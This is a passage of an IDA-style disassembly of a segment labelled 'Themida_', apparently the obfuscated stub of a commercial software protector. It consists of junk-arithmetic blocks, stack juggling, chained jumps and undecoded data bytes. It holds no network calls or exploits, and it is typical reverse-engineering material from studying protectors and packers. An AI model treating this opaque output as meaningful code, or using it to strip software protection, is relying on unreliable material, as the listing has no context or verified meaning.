add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_5A62A3 ; --------------------------------------------------------------------------- loc_5A4ABC: ; CODE XREF: Themida_:005A1966j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5AA371 ; --------------------------------------------------------------------------- loc_5A4AD0: ; CODE XREF: Themida_:0059E1E3j sub eax, 71A46F59h sub edi, eax pop eax jmp loc_5A4C4A ; --------------------------------------------------------------------------- loc_5A4ADD: ; CODE XREF: Themida_:005AB961j add eax, edx pop edx sub dword ptr [esp+4], 6EA8753Eh push esi mov esi, 1AE846F8h add dword ptr [esp+8], 37380686h jmp loc_5995AC ; --------------------------------------------------------------------------- loc_5A4AFB: ; CODE XREF: Themida_:005A7557j add ebx, 66942AC8h jmp loc_598510 ; --------------------------------------------------------------------------- dw 0E3C1h dd 0C9840F03h, 8100003Fh, 241C0C3h, 5BDE8918h, 57AEC681h dd 830F07B7h, 0FFFF9550h, 3A1E9h, 43DA6800h, 81580000h dd 82034FEEh, 7AEE8116h, 5ED89CBh, 308F19EAh, 0BF57F029h dd 58B63ACDh, 0F703EFC1h, 4EC81D7h, 89000000h, 8DB82404h dd 2D649045h, 56D767D9h, 0FF64BCE9h, 1E981FFh, 81000000h dd 38E5FFC1h, 41C381EFh, 291D0B52h, 9BB9E9CBh, 0C281FFFFh dd 749C4715h, 0EEBF8C0Fh, 1FE9FFFFh db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4B8F: ; CODE XREF: Themida_:005A40ADj sub esi, 768F7F10h add esi, eax add esi, 768F7F10h jmp loc_5984FC ; --------------------------------------------------------------------------- loc_5A4BA2: ; CODE XREF: Themida_:005996E9j mov bl, ah mov eax, [esp] add esp, 4 mov dl, bl pop ebx sub bl, 68h sub bl, dl add bl, 68h pop edx movzx eax, al push dword ptr [edi+eax*4] jmp loc_5A3308 ; --------------------------------------------------------------------------- loc_5A4BC1: ; CODE XREF: Themida_:0059FB4Cj xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov cx, [esp] push 2EA0h mov [esp], edx jmp loc_5A6F73 ; --------------------------------------------------------------------------- loc_5A4BDB: ; CODE XREF: Themida_:005A3E31j ; Themida_:005AEAF0j mov esi, esp jmp loc_5AD71D ; --------------------------------------------------------------------------- loc_5A4BE2: ; CODE XREF: Themida_:005AE960j mov ebx, [esp] add esp, 4 sub [edi+20h], eax push dword ptr [esp] pop eax add esp, 4 loc_5A4BF8: ; CODE XREF: Themida_:0059BD87j ; Themida_:005A7806j push dword ptr [esp] pop ebx push ecx mov ecx, esp jmp loc_5A90F1 ; --------------------------------------------------------------------------- loc_5A4C04: ; CODE XREF: Themida_:005A0958j pop esp movsx ecx, al jmp loc_5A9408 ; --------------------------------------------------------------------------- loc_5A4C0D: ; CODE XREF: Themida_:005A6D3Ej mov [esp], esp add dword ptr [esp], 4 jmp loc_5AC622 ; --------------------------------------------------------------------------- loc_5A4C1C: ; CODE XREF: Themida_:0059C012j pop eax and edx, 61910B7Eh jmp loc_59F860 ; --------------------------------------------------------------------------- dd 68240C89h, 79941815h, 16FAE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4C36: ; CODE XREF: Themida_:005A17CAj sub esp, 4 mov [esp], eax mov ah, 39h xor cl, ah pop eax push eax jmp loc_5A2D2A ; --------------------------------------------------------------------------- loc_5A4C4A: ; CODE XREF: Themida_:005A4AD8j add edx, edi pop edi add edx, edi sub edx, 5FA1609Dh push ebx mov bh, al push eax mov eax, 0 add eax, 4F2647DDh jmp loc_5A5067 ; --------------------------------------------------------------------------- loc_5A4C68: ; CODE XREF: Themida_:0059AC4Bj dec esi dec esi add esi, 229972Fh sub ebx, esi pop esi jmp loc_5A7D4A ; --------------------------------------------------------------------------- loc_5A4C78: ; CODE XREF: Themida_:005AD291j xor ecx, eax pop eax mov ebx, ecx jmp loc_5A9C28 ; --------------------------------------------------------------------------- loc_5A4C82: ; CODE XREF: Themida_:005AA643j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push ebx mov ebx, 5A5F5CF7h jmp loc_5A7B25 ; --------------------------------------------------------------------------- loc_5A4C9D: ; CODE XREF: Themida_:005A3B41j mov ebx, 1AA31A3h add eax, ebx pop ebx jmp loc_5A2F3C ; --------------------------------------------------------------------------- loc_5A4CAA: ; CODE XREF: Themida_:005AA073j push 60FDh jmp loc_5A0EE8 ; --------------------------------------------------------------------------- loc_5A4CB4: ; CODE XREF: Themida_:005A11DEj push dword ptr [esp] pop edi jmp loc_5A99B4 ; --------------------------------------------------------------------------- db 5Bh, 51h, 0E9h dd 0FFFF5F77h ; --------------------------------------------------------------------------- loc_5A4CC4: ; CODE XREF: Themida_:0059AADDj add ebp, 4 add ebp, 4 jmp loc_5A5ECD ; --------------------------------------------------------------------------- loc_5A4CD5: ; CODE XREF: Themida_:0059F93Cj push 3AC9h mov [esp], edi push ebp push 6CA96F5Ch pop ebp and ebp, 1030713Bh jl loc_59D78D neg ebp add ebp, 48A56DFCh mov edi, ebp pop ebp neg edi push ecx push esi push 5B576F25h pop esi shr esi, 8 add esi, 4CB20BBCh sub esi, 95927013h mov ecx, esi pop esi xor edi, ecx pop ecx jmp loc_5A704B ; --------------------------------------------------------------------------- db 0FFh dd 65E94077h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4D27: ; CODE XREF: Themida_:005AC204j shr ebp, 1 add ebp, 0D9AED867h add edx, ebp pop ebp sub ecx, edx jmp loc_5ABB37 ; --------------------------------------------------------------------------- loc_5A4D39: ; CODE XREF: Themida_:005AD9A3j add ecx, 2E537FDDh add ecx, edx sub ecx, 2E537FDDh pop edx push edx mov edx, 4 add ecx, edx jmp loc_59F72B ; --------------------------------------------------------------------------- loc_5A4D55: ; CODE XREF: Themida_:005A7697j sub dh, 0F5h add dh, ch add dh, 0F5h jmp loc_5A9A91 ; --------------------------------------------------------------------------- loc_5A4D62: ; CODE XREF: Themida_:005A9A3Aj push eax mov eax, 279F35BAh add eax, 15BA4F9Ah add eax, 0C2A67AADh jmp loc_5A8567 ; --------------------------------------------------------------------------- loc_5A4D77: ; CODE XREF: Themida_:0059EE48j mov ebp, 4E082551h inc ebp add ebp, 0B1F7DAB2h add ecx, ebp jmp loc_5A7D0A ; --------------------------------------------------------------------------- loc_5A4D8A: ; CODE XREF: Themida_:005AD91Dj pop dword ptr [esp] mov esp, [esp] jmp loc_5A36FE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E924048Bh, 69D2h ; --------------------------------------------------------------------------- loc_5A4DA0: ; CODE XREF: Themida_:005985F1j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_5A1A48 ; --------------------------------------------------------------------------- loc_5A4DC0: ; CODE XREF: Themida_:005A5493j push esi mov esi, 1AC71B6Ch jmp loc_5AD9DD ; --------------------------------------------------------------------------- loc_5A4DCB: ; CODE XREF: Themida_:005AC3B9j mov edx, 1F550FCBh jmp loc_5A02B9 ; --------------------------------------------------------------------------- db 0Fh, 88h, 90h dd 68FFFFE2h, 79D3h, 0BF243C89h, 4FEA3936h, 4EC81h, 1C890000h dd 0C1E95424h, 0ACFFFF9Bh, 168D830h, 89000029h, 0EC83242Ch dd 24248904h, 4B951h, 4C010000h, 8B590424h, 0C481242Ch dd 4, 0FF6BE4E9h, 78F581FFh, 812FB671h, 0E09843C5h, 0F6C68154h dd 163660Ah, 0F6EE81EEh, 5D63660Ah, 9FBC681h, 0D6016020h dd 9FBEE81h, 41E96020h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4E4F: ; CODE XREF: Themida_:005A103Bj mov [esp], edi mov edi, esp jmp loc_5A30F3 ; --------------------------------------------------------------------------- loc_5A4E59: ; CODE XREF: Themida_:005A119Ej add esp, 4 push 2410h mov [esp], eax jmp loc_5AF075 ; --------------------------------------------------------------------------- loc_5A4E69: ; CODE XREF: Themida_:0059BB54j jmp loc_5A8A6B ; --------------------------------------------------------------------------- loc_5A4E6E: ; CODE XREF: Themida_:005A7CD6j push esi push edx push 4AA27CD3h pop edx xor edx, 0A012901h sub edx, 631877FBh mov esi, edx pop edx jmp loc_5AA5E6 ; --------------------------------------------------------------------------- loc_5A4E8A: ; CODE XREF: Themida_:0059C22Ej push dword ptr [esp] pop ecx push eax jmp loc_59EA76 ; --------------------------------------------------------------------------- loc_5A4E94: ; CODE XREF: Themida_:005A1B03j jz loc_59E407 add ecx, 5EC81022h mov ebx, ecx pop ecx neg ebx sub esp, 4 jmp loc_59D529 ; --------------------------------------------------------------------------- loc_5A4EB0: ; CODE XREF: Themida_:005A645Bj push ecx mov cl, 0E2h jmp loc_5A6844 ; --------------------------------------------------------------------------- loc_5A4EB8: ; CODE XREF: Themida_:005A270Ej or ebp, 568A3A16h jmp loc_5AA74A ; --------------------------------------------------------------------------- db 89h dd 774EE9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4ECA: ; CODE XREF: Themida_:0059B235j sub esp, 4 mov [esp], eax mov ah, 0ECh push edx mov dh, 0C8h or dh, 32h and dh, 57h shr dh, 2 neg dh push ecx jmp loc_5A3BF0 ; --------------------------------------------------------------------------- loc_5A4EE9: ; CODE XREF: Themida_:005AC8C1j jmp loc_5A557A ; --------------------------------------------------------------------------- loc_5A4EEE: ; CODE XREF: Themida_:005AB1BBj pop dword ptr [esp] pop esp jmp loc_5A6C42 ; --------------------------------------------------------------------------- loc_5A4EF7: ; CODE XREF: Themida_:0059E85Ej xchg ebp, [esp] pop esp mov [esp], esi jmp loc_59B8CA ; --------------------------------------------------------------------------- db 81h dd 0B1397BEEh, 54EE8153h, 1E4F436h, 0EC815EF0h, 4, 81240489h dd 3CF62434h, 348B4836h, 4C48124h, 57000000h, 0F02F11BFh dd 2E7C102h, 80B2F781h, 0FE3143F6h, 0FFBB68E9h, 0F0BB53FFh dd 83498513h, 0E381FFC3h, 1AD812DAh, 0ED3AC381h, 0DD01F77Fh dd 4974685Bh, 0C890000h, 384E924h, 74FF0000h, 8F5D0424h dd 248B2404h, 40524h, 0C0830000h, 24043302h, 0FFD9BDE9h dd 10EB81FFh, 8B1DB973h, 0E9502414h, 5BD8h ; --------------------------------------------------------------------------- loc_5A4F90: ; CODE XREF: Themida_:005A28D9j shl cl, 7 jmp loc_598F13 ; --------------------------------------------------------------------------- loc_5A4F98: ; CODE XREF: Themida_:0059B9C8j and edx, 5CA5311Eh push ecx mov ecx, 5F9A6739h sub esp, 4 mov [esp], edi jmp loc_5A088F ; --------------------------------------------------------------------------- loc_5A4FAF: ; CODE XREF: Themida_:005A80AEj add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5A12ED ; --------------------------------------------------------------------------- loc_5A4FC0: ; CODE XREF: Themida_:0059DF47j xor edi, 71C61AC3h jbe loc_5A6055 add edi, 0F8160DDCh mov edx, edi jmp loc_5A08F1 ; --------------------------------------------------------------------------- db 81h, 0C9h, 96h dd 0E9551368h, 2D0Ah, 81E68956h, 4C6h, 4C68100h, 87000000h db 34h, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 6B7Bh mov [esp], edi mov edi, esp add edi, 4 push edx mov edx, 243F75BDh jmp loc_5A760F ; --------------------------------------------------------------------------- loc_5A501B: ; CODE XREF: Themida_:0059C4E3j not esi sub esi, 6859351Fh sub esi, 0FFFFFFFFh push eax mov eax, 873D9F35h sub esi, eax pop eax add eax, esi pop esi sub eax, ebx push edx mov edx, 116F39D4h sub eax, edx jmp loc_59A822 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0FEh dd 8188724Ch, 4A07ACC3h, 81CB0110h, 4A07ACEBh, 0AF6EE910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A505A: ; CODE XREF: Themida_:0059FA1Bj mov edi, ebx mov ebx, [esp] push ebx mov ebx, esp jmp loc_5A0A9E ; --------------------------------------------------------------------------- loc_5A5067: ; CODE XREF: Themida_:005A4C63j add eax, edx push edi mov edi, 4F2647DDh sub eax, edi pop edi mov [eax], bh jmp loc_5A5CB0 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 0E95B0424h, 0FFFFCCF4h, 4C381h, 1C870000h, 7652E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5092: ; CODE XREF: Themida_:0059A3E3j sub esp, 4 mov [esp], eax push ebp jmp loc_5A0185 ; --------------------------------------------------------------------------- dw 8C05h dd 5248AD11h, 0BB53E289h, 4, 0E95BDA01h, 1Fh ; --------------------------------------------------------------------------- loc_5A50B4: ; CODE XREF: Themida_:00598D7Bj ; Themida_:005AC801j shr esi, 7 neg esi jp loc_59ED04 add esi, 22C8E3C7h and cl, 6Eh pop esi loc_5A50C9: ; CODE XREF: Themida_:005A10ECj mov ebx, 0D5D24BB5h jmp loc_5A8205 ; --------------------------------------------------------------------------- db 57h dd 0FF631DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A50D9: ; CODE XREF: Themida_:005AECE4j mov eax, esp jmp loc_5A22CD ; --------------------------------------------------------------------------- aUh4 db 'Uh4"',0 align 2 dw 1C89h dd 768DBB24h, 0DD892C89h, 5B2434FFh, 81E18951h, 4C1h, 4C18100h dd 87000000h, 815C240Ch, 4ECh, 24348900h, 0DF6E6CBEh, 1FF68107h dd 0E9D4A9E3h, 4427h ; --------------------------------------------------------------------------- loc_5A5120: ; CODE XREF: Themida_:005A49E5j mov esp, [esp] mov [esp], ebx push esp pop ebx jmp loc_59C353 ; --------------------------------------------------------------------------- db 0BEh, 33h, 46h dd 0BB531D83h, 2B371C6Ah, 3252E9h db 0 ; --------------------------------------------------------------------------- loc_5A513D: ; CODE XREF: Themida_:005AA6E2j pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ebp push esp push dword ptr [esp] pop ebp push edx mov edx, esp jmp loc_5A71B4 ; --------------------------------------------------------------------------- loc_5A5162: ; CODE XREF: Themida_:005AB6FFj mov [esp], edi mov edi, edx mov ebx, edi pop edi pop edx jmp loc_59CD4F ; --------------------------------------------------------------------------- dd 5B2434FFh, 83E38953h, 1BE904ECh db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A517F: ; CODE XREF: Themida_:005A7158j xor ebp, [esp] jmp loc_59DB67 ; --------------------------------------------------------------------------- loc_5A5187: ; CODE XREF: Themida_:005ACF13j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, edx push dword ptr [esp] pop edx add esp, 4 add ebx, 2 push ebx push dword ptr [esp+4] jmp loc_599E99 ; --------------------------------------------------------------------------- loc_5A51B2: ; CODE XREF: Themida_:005AB3E0j push eax mov eax, 3BA85537h shl eax, 7 shl eax, 6 xor eax, 0AA6E004h add ecx, eax jmp loc_599F9E ; --------------------------------------------------------------------------- loc_5A51CA: ; CODE XREF: Themida_:005A14A0j pop edi inc ebx push ecx mov ecx, 3D8B4462h xor ebx, ecx pop ecx add esi, ebx jmp loc_5AB6AA ; --------------------------------------------------------------------------- loc_5A51DC: ; CODE XREF: Themida_:005AEDF7j pop edi jmp loc_5A9652 ; --------------------------------------------------------------------------- loc_5A51E2: ; CODE XREF: Themida_:005A7C97j add edi, 466673AAh jnp loc_5A3636 sub edi, 48DC7EE8h mov ebx, edi jmp loc_59B37F ; --------------------------------------------------------------------------- db 51h dd 1C5568h, 242C8900h, 0B18D9BDh, 0D5BF571Ah, 291A0B18h dd 78E95FFDh db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5217: ; CODE XREF: Themida_:005A8531j xor ebx, 18A25B1Dh mov ecx, ebx pop ebx jmp loc_59EF24 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0CF46824h, 1C890000h, 313C6824h, 24890000h, 24048324h dd 53575B04h, 0A1215468h, 241C8B52h, 44B4E9h db 0 ; --------------------------------------------------------------------------- loc_5A524D: ; CODE XREF: Themida_:005A0683j jg loc_5AC5D2 jmp loc_5ABB16 ; --------------------------------------------------------------------------- loc_5A5258: ; CODE XREF: Themida_:005A4270j add eax, ecx jmp loc_59FBC4 ; --------------------------------------------------------------------------- loc_5A525F: ; CODE XREF: Themida_:005AB2AAj pop eax push edx mov dh, ch push ecx push ebx mov bl, dh mov cl, bl pop ebx mov [edi+eax*4], cl pop ecx pop edx mov ecx, [esp] jmp loc_5ABAF9 ; --------------------------------------------------------------------------- loc_5A5277: ; CODE XREF: Themida_:0059BC34j xor [esp], edx xor edx, [esp] mov esp, [esp] and esi, 42B94FF1h jmp loc_5AF311 ; --------------------------------------------------------------------------- db 68h dd 7853h, 0FFC91AE9h, 319C68FFh, 4890000h, 4EC8124h, 0E9000000h dd 2035h, 9E702D0Dh, 28B9510Ah, 0E9DE216Ch, 0FFFF4DE6h dd 8A0FECD0h, 51B3h, 3D19E9h db 0 ; --------------------------------------------------------------------------- loc_5A52C5: ; CODE XREF: Themida_:00599BDDj pop ebx sub ebp, 609F4F07h jle loc_5A3684 neg ebp jg loc_5ADF19 jmp loc_5A912F ; --------------------------------------------------------------------------- db 51h dd 11E768h, 479FE900h, 0EB680000h, 0E9000056h, 356h ; --------------------------------------------------------------------------- loc_5A52F4: ; CODE XREF: Themida_:005AD1F3j mov esp, [esp] bts [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5302: ; CODE XREF: Themida_:0059D825j sub ebx, 4 jmp loc_59B22E ; --------------------------------------------------------------------------- loc_5A530A: ; CODE XREF: Themida_:005A99AFj ; Themida_:005A9F0Aj pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5310: ; CODE XREF: Themida_:005A092Bj shr edx, 4 jmp loc_5A2D11 ; --------------------------------------------------------------------------- dd 0E9A5E959h, 3C89FFFFh, 0E9E78924h, 5BA5h, 7444EA81h dd 0E2C14CE6h, 0D3890F08h, 0E9FFFF88h, 0FFFFB0E5h, 0B8581568h dd 0FF505868h, 0E9582404h, 4759h, 8324048Bh, 1DE904C4h dd 0ADFFFF70h, 353568h, 242C8900h, 0E65506BDh, 77EB054Ah dd 0BA525ADFh, 76CD02EEh, 2E94C281h, 96E93EFDh, 68FFFF9Bh dd 6ECFh, 0FF243489h, 0E9042474h, 513Ch ; --------------------------------------------------------------------------- loc_5A538C: ; CODE XREF: Themida_:0059BA28j mov dl, 2 jmp loc_5A9178 ; --------------------------------------------------------------------------- loc_5A5393: ; CODE XREF: Themida_:00598CAEj ; Themida_:005A5ED6j mov esp, [esp] sub esp, 4 mov [esp], ecx push 495Ch mov [esp], esi push 6DE22DC9h push dword ptr [esp] pop esi jmp loc_5A622A ; --------------------------------------------------------------------------- loc_5A53B5: ; CODE XREF: Themida_:005A6B5Ej mov bl, 0B9h add bl, 38h add bl, 0BEh xor bl, 57h sub cl, bl pop ebx mov dx, [esp] jmp loc_5A1036 ; --------------------------------------------------------------------------- loc_5A53CC: ; CODE XREF: Themida_:005AA623j push ecx push edi push 73953FB1h mov edi, [esp] add esp, 4 push ecx mov ecx, 6FAA4F8Dh xor edi, ecx jmp loc_5AA53A ; --------------------------------------------------------------------------- loc_5A53E9: ; CODE XREF: Themida_:0059E4F1j ; Themida_:0059EFB1j sub edi, ebx pop ebx jmp loc_5AE572 ; --------------------------------------------------------------------------- loc_5A53F1: ; CODE XREF: Themida_:0059B317j pop eax not eax inc eax push edi mov edi, 356E453Bh add edi, 35AF1C1h add eax, edi pop edi push eax pop ecx jmp loc_5AAF82 ; --------------------------------------------------------------------------- loc_5A540B: ; CODE XREF: Themida_:0059935Aj mov [esp], ecx push dword ptr [esp+4] jmp loc_59FB59 ; --------------------------------------------------------------------------- loc_5A5417: ; CODE XREF: Themida_:005A6507j pop edx add esp, 4 push 52D3h mov [esp], esi mov esi, esp jmp loc_5AF185 ; --------------------------------------------------------------------------- loc_5A542D: ; CODE XREF: Themida_:005A8880j mov ecx, [esp] jmp loc_59F524 ; --------------------------------------------------------------------------- loc_5A5435: ; CODE XREF: Themida_:005990D5j mov ecx, 106B5BEAh or esi, ecx pop ecx push eax mov eax, 2CD67760h add esi, eax mov eax, [esp] add esp, 4 jmp loc_5AD851 ; --------------------------------------------------------------------------- db 58h dd 1C8BDD01h, 0DFC4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A545E: ; CODE XREF: Themida_:005ACC94j xchg ebx, [esp] mov esp, [esp] or eax, eax jz loc_5990A9 push dword ptr [edi+1Ch] push ebp push ebx push 7E5776C1h pop ebx sub esp, 4 mov [esp], edi push 818h mov [esp], esi mov esi, 2CA45DAh mov edi, esi pop esi shr edi, 3 jnz loc_5A4DC0 push esi mov esi, 1AC71B6Ch jmp loc_5A5E08 ; --------------------------------------------------------------------------- loc_5A54A4: ; CODE XREF: Themida_:0059D788j xchg esi, [esp] pop esp jmp loc_5A7D86 ; --------------------------------------------------------------------------- loc_5A54AD: ; CODE XREF: Themida_:0059D26Aj ; Themida_:005A7458j not eax or eax, 48C12A85h jmp loc_59897C ; --------------------------------------------------------------------------- loc_5A54B9: ; CODE XREF: Themida_:0059B9ABj pop edi push 3840h mov [esp], esi push ecx mov ecx, 4AA54861h mov esi, 4AA54865h sub esi, ecx jmp loc_5A2CD4 ; --------------------------------------------------------------------------- dd 55240489h, 0FF8382E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A54DD: ; CODE XREF: Themida_:005ADD93j mov ebp, 4 add ebx, ebp pop ebp jmp loc_5ADA37 ; --------------------------------------------------------------------------- dw 0E95Dh dd 770Ch ; --------------------------------------------------------------------------- loc_5A54F0: ; CODE XREF: Themida_:0059C48Fj mov ebx, 3BCD6596h dec ebx and ebx, 0EF1457Ch xor ebx, 7F4E6DBEh add ebp, ebx pop ebx sub ebp, 4114757h add ebp, edx add ebp, 4114757h sub ebp, 758F28AAh push dword ptr [esp] jmp loc_5A9144 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 660A0268h, 0C6815E55h, 0AA99F602h, 5D6CC381h, 0F30156FEh dd 5D6CEB81h, 348B56FEh, 4C48124h, 83000000h, 1C3304EBh dd 241C3124h, 5C241C33h, 7E33E9h db 0 ; --------------------------------------------------------------------------- loc_5A5559: ; CODE XREF: Themida_:005A8A77j sub edx, 423C7E29h sub edx, ebx xchg edx, ebx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_598C9F ; --------------------------------------------------------------------------- loc_5A557A: ; CODE XREF: Themida_:loc_5A4EE9j ; Themida_:005A9572j push edi mov edi, 7DFF6A63h sub eax, edi jmp loc_5A1BEA ; --------------------------------------------------------------------------- loc_5A5587: ; CODE XREF: Themida_:loc_5AB394j xor edx, 13C846F9h jp loc_5A87F5 jmp loc_5ABA62 ; --------------------------------------------------------------------------- dd 0EA81FA01h, 3C1B79BBh, 0FF31ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A55A5: ; CODE XREF: Themida_:005AC754j or edx, 62A476B5h and edx, 7E243E5Eh not edx xor edx, 0E3C99E34h or eax, edx pop edx add eax, 0C44D965Dh or edx, eax pop eax sub edx, 1 jmp loc_5A73A5 ; --------------------------------------------------------------------------- dd 6F4ABD55h, 0E5C101BFh, 0BE02E902h, 0D8BEFFFFh, 51183B35h dd 0BB21CCB9h, 8AF18133h, 0E97CA93Eh, 0FFFF5B82h ; --------------------------------------------------------------------------- loc_5A55F0: ; CODE XREF: Themida_:0059AEDDj mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 push esi jmp loc_59C5ED ; --------------------------------------------------------------------------- dw 972Dh dd 1088B66h, 669705C8h, 0E959088Bh, 0FFFF59FCh ; --------------------------------------------------------------------------- loc_5A561C: ; CODE XREF: Themida_:005A9BDFj sub edi, 7C74A3EFh mov ecx, edi pop edi jmp loc_5A32EA ; --------------------------------------------------------------------------- loc_5A562A: ; CODE XREF: Themida_:005A0DB9j and eax, 52B63E3Bh not eax jmp loc_59A6C7 ; --------------------------------------------------------------------------- dw 52ACh dd 0C0E9AEB2h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A563F: ; CODE XREF: Themida_:005A9947j pop dword ptr [esp] mov esp, [esp] jmp loc_5AE802 ; --------------------------------------------------------------------------- dw 3C89h dd 4EC8324h, 68240C89h, 71227AF4h, 0FF7100E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A565D: ; CODE XREF: Themida_:005A6147j mov edi, 439A44F0h jmp loc_59DBFD ; --------------------------------------------------------------------------- loc_5A5667: ; CODE XREF: Themida_:005AE91Bj and edx, 4D2E72A6h jmp loc_5AE8A8 ; --------------------------------------------------------------------------- loc_5A5672: ; CODE XREF: Themida_:005AEDDDj shl esi, 5 add esi, 32C34975h push ecx mov ecx, 2CCB7F9Eh sub ecx, 0A392790Fh jmp loc_59E91B ; --------------------------------------------------------------------------- loc_5A568C: ; CODE XREF: Themida_:005A447Cj pop edx jmp loc_59BC5B ; --------------------------------------------------------------------------- dw 3C33h dd 243C3124h, 8B243C33h, 33682424h, 0E9000004h, 7943h dd 8106EEC1h, 0C57E8CEEh, 8FE946DCh db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A56B7: ; CODE XREF: Themida_:0059EDB7j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5A9166 ; --------------------------------------------------------------------------- loc_5A56C6: ; CODE XREF: Themida_:005A1F05j jmp loc_5A36AA ; --------------------------------------------------------------------------- loc_5A56CB: ; CODE XREF: Themida_:0059DC35j mov esi, 4 add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov edi, [esp] add esp, 4 and ecx, esi mov esi, [esp] jmp loc_5A1E6F ; --------------------------------------------------------------------------- dw 34FFh dd 54535824h, 5B2434FFh, 4C481h, 0C3810000h, 4, 7635E950h dd 0FF540000h, 81592434h, 4C4h, 9254E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A571E: ; CODE XREF: Themida_:00599720j pop esp mov [esp], ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp not ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp pop ebp xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp], edi mov edi, 1 and eax, edi mov edi, [esp] push edx push esp mov edx, [esp] add esp, 4 jmp loc_5AF11B ; --------------------------------------------------------------------------- loc_5A575A: ; CODE XREF: Themida_:005AF21Aj push ebp mov ebp, 0FFFFFFFFh sub edi, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 7A601309h sub ecx, 6E2FAD5Ch sub edi, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 0C0CA2074h add edi, ecx pop ecx jmp loc_59F8C1 ; --------------------------------------------------------------------------- dd 4E240481h, 50413D07h, 2928E0B8h, 24442921h, 0AE04E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A57A6: ; CODE XREF: Themida_:005A6EAAj pop ebx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59940C ; --------------------------------------------------------------------------- loc_5A57BB: ; CODE XREF: Themida_:005A8C8Fj add esp, 4 pop edx push edx jmp loc_59B7BB ; --------------------------------------------------------------------------- loc_5A57C5: ; CODE XREF: Themida_:005A9EA9j push dword ptr [esp] pop ecx push ebx push esp jmp loc_59EE92 ; --------------------------------------------------------------------------- loc_5A57D0: ; CODE XREF: Themida_:0059BCC9j add [esp+4], edi jmp loc_59FE7B ; --------------------------------------------------------------------------- db 81h, 0EDh, 47h dd 813E9657h, 0D47ACEC5h, 0EC30E947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A57EA: ; CODE XREF: Themida_:005AA57Fj add eax, 4 add eax, 4 jmp loc_59E8FE ; --------------------------------------------------------------------------- db 0D3h, 2 dup(24h) dd 2B8AE99Ch, 0F796FFFFh, 814696D0h, 1E9C16EEh, 0E9F329DAh dd 90E6h ; --------------------------------------------------------------------------- loc_5A5814: ; CODE XREF: Themida_:0059ECE3j push dword ptr [esp] jmp loc_5A649B ; --------------------------------------------------------------------------- dd 343EF281h, 0EA8155F5h, 5A482D53h, 0E95AD031h, 0FFFFC10Ah ; --------------------------------------------------------------------------- loc_5A5830: ; CODE XREF: Themida_:0059B37Aj add al, 86h sub al, 49h jmp loc_5ADD11 ; --------------------------------------------------------------------------- loc_5A5839: ; CODE XREF: Themida_:0059A832j push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A6181 ; --------------------------------------------------------------------------- loc_5A5851: ; CODE XREF: Themida_:005A7D60j jnp loc_5A769C add bh, 0B3h jmp loc_5AAAD1 ; --------------------------------------------------------------------------- aSK db ')ήι΅K',0 align 2 loc_5A5866: ; CODE XREF: Themida_:005A3D3Dj mov edx, 4B16632Ah mov esi, 5B6B4153h xor esi, edx pop edx shl esi, 5 jmp loc_5A2039 ; --------------------------------------------------------------------------- db 89h dd 0D0315DEAh, 58C7015Ah, 446968h, 241C8900h, 4BBh, 5EC78100h dd 0E971BE5Ah, 0FFFF5525h, 4A8BF781h, 800F34D7h, 0FFFF8FFFh dd 0FFDE77E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A58AD: ; CODE XREF: Themida_:0059F6D0j xor ebx, 82E7DA2h jmp loc_59F88F ; --------------------------------------------------------------------------- dd 0E904E2C1h, 0FFFFEC7Bh ; --------------------------------------------------------------------------- loc_5A58C0: ; CODE XREF: Themida_:005A44D6j xor ebx, [esp] mov esp, [esp] inc dword ptr [esp] pushf 